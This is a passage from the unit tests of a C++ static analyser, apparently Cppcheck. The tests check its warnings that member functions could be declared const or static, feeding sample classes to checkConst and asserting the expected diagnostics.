\"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair,double>& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair,double> m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:47]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:31]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:38]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" pair< vector, int >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" pair< vector, int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:53]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:60]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::vector,std::vector >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::vector,std::vector > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< std::pair < int, char > , int > & GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< std::pair < int, char > , int > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > > GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:49]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:56]: (style, inconclusive) Technically the member function 'A::GetPair' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" std::pair< int , std::pair < int, char > >& GetPair() {return m_pair;}\\n\"\n \"private:\\n\"\n \" std::pair< int , std::pair < int, char > > m_pair;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" const vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (style, inconclusive) Technically the member function 'A::GetVec' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"using namespace std;\"\n \"class A {\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" vector& GetVec() {return m_Vec;}\\n\"\n \"private:\\n\"\n \" vector m_Vec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int * * foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" const int ** foo() { return &x; }\\n\"\n \"private:\\n\"\n \" const int * x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const15() {\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" unsigned long long int a;\\n\"\n \" unsigned long long int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned long long int get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const16() {\n // ticket #1551\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void set(int i) { Fred::a = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const17() {\n // ticket #1552\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" void set(int i, int j) { a[i].k = i; }\\n\"\n \"private:\\n\"\n \" struct { int k; } a[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const18() {\n checkConst(\"class Fred {\\n\"\n \"static int x;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::set' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const19() {\n // ticket #1612\n checkConst(\"using namespace std;\\n\"\n \"class Fred {\\n\"\n \"private:\\n\"\n \" std::string s;\\n\"\n \"public:\\n\"\n \" void set(std::string ss) { s = ss; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const20() {\n // ticket #1602\n checkConst(\"class Fred {\\n\"\n \" int x : 3;\\n\"\n \"public:\\n\"\n \" void set(int i) { x = i; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" list x;\\n\"\n \"public:\\n\"\n \" list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::list x;\\n\"\n \"public:\\n\"\n \" std::list get() { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const21() {\n // ticket #1683\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" const char * l1[10];\\n\"\n \"public:\\n\"\n \" A()\\n\"\n \" {\\n\"\n \" for (int i = 0 ; i < 10; l1[i] = NULL, i++);\\n\"\n \" }\\n\"\n \" void f1() { l1[0] = \\\"Hello\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const22() {\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1;\\n\"\n \"public:\\n\"\n \" void f1() { v1 = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" B::C * v1[0];\\n\"\n \"public:\\n\"\n \" void f1() { v1[0] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const23() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \" typedef Template Type;\\n\"\n \" typedef Template2 Type2;\\n\"\n \" void set_member(Type2 m) { _m = m; }\\n\"\n \"private:\\n\"\n \" Type2 _m;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const24() {\n checkConst(\"class Class {\\n\"\n \"public:\\n\"\n \"void Settings::SetSetting(QString strSetting, QString strNewVal)\\n\"\n \"{\\n\"\n \" (*m_pSettings)[strSetting] = strNewVal;\\n\"\n \"}\\n\"\n \"private:\\n\"\n \" std::map *m_pSettings;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void const25() { // ticket #1724\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"const std::string strGetString1() const\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"std::string strGetString()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'A::strGetString' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVal=\\\"\\\";}\\n\"\n \"const std::string strGetString1()\\n\"\n \"{return m_strVal.c_str();}\\n\"\n \"private:\\n\"\n \"std::string m_strVal;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style, inconclusive) Technically the member function 'A::strGetString1' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"size_t strGetSize()\\n\"\n \"{return m_strVec.size();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: (style, inconclusive) Technically the member function 'A::strGetSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A{\\n\"\n \"public:\\n\"\n \"A(){m_strVec.push_back(\\\"\\\");}\\n\"\n \"bool strGetEmpty()\\n\"\n \"{return m_strVec.empty();}\\n\"\n \"private:\\n\"\n \"std::vector m_strVec;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (style, inconclusive) Technically the member function 'A::strGetEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const26() { // ticket #1847\n checkConst(\"class DelayBase {\\n\"\n \"public:\\n\"\n \"void swapSpecificDelays(int index1, int index2) {\\n\"\n \" std::swap(delays_[index1], delays_[index2]);\\n\"\n \"}\\n\"\n \"float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct DelayBase {\\n\"\n \" float swapSpecificDelays(int index1) {\\n\"\n \" return delays_[index1];\\n\"\n \" }\\n\"\n \" float delays_[4];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style, inconclusive) Technically the member function 'DelayBase::swapSpecificDelays' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const27() { // ticket #1882\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A(){m_d=1.0; m_iRealVal=2.0;}\\n\"\n \" double dGetValue();\\n\"\n \"private:\\n\"\n \" double m_d;\\n\"\n \" double m_iRealVal;\\n\"\n \"};\\n\"\n \"double A::dGetValue() {\\n\"\n \" double dRet = m_iRealVal;\\n\"\n \" if( m_d != 0 )\\n\"\n \" return m_iRealVal / m_d;\\n\"\n \" return dRet;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:9:12]: (style, inconclusive) Technically the member function 'A::dGetValue' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const28() { // ticket #1883\n checkConst(\"class P {\\n\"\n \"public:\\n\"\n \" P() { x=0.0; y=0.0; }\\n\"\n \" double x,y;\\n\"\n \"};\\n\"\n \"class A : public P {\\n\"\n \"public:\\n\"\n \" A():P(){}\\n\"\n \" void SetPos(double xPos, double yPos) {\\n\"\n \" x=xPos;\\n\"\n \" y=yPos;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA : public P {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class AA {\\n\"\n \"public:\\n\"\n \" AA():P(){}\\n\"\n \" inline void vSetXPos(int x_)\\n\"\n \" {\\n\"\n \" UnknownScope::x = x_;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (performance, inconclusive) Technically the member function 'AA::vSetXPos' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n }\n\n void const29() { // ticket #1922\n checkConst(\"class test {\\n\"\n \" public:\\n\"\n \" test();\\n\"\n \" const char* get() const;\\n\"\n \" char* get();\\n\"\n \" private:\\n\"\n \" char* value_;\\n\"\n \"};\\n\"\n \"test::test()\\n\"\n \"{\\n\"\n \" value_ = 0;\\n\"\n \"}\\n\"\n \"const char* test::get() const\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\\n\"\n \"char* test::get()\\n\"\n \"{\\n\"\n \" return value_;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const30() {\n // check for false negatives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'Derived::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Derived::getA' can be const. [functionConst]\\n\"\n \"[test.cpp:14:9]: (style, inconclusive) Technically the member function 'Derived::getB' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style, inconclusive) Technically the member function 'Derived2::get' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style, inconclusive) Technically the member function 'Derived4::get' can be const. [functionConst]\\n\", errout_str());\n\n // check for false positives\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base1 {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Base2 {\\n\"\n \"public:\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"class Derived : public Base1, public Base2 {\\n\"\n \"public:\\n\"\n \" int getA() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" int getB() const {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Base {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"class Derived1 : public Base { };\\n\"\n \"class Derived2 : public Derived1 { };\\n\"\n \"class Derived3 : public Derived2 { };\\n\"\n \"class Derived4 : public Derived3 {\\n\"\n \"public:\\n\"\n \" int get() const {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const31() {\n checkConst(\"namespace std { }\\n\"\n \"class Fred {\\n\"\n \"public:\\n\"\n \" int a;\\n\"\n \" int get() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n 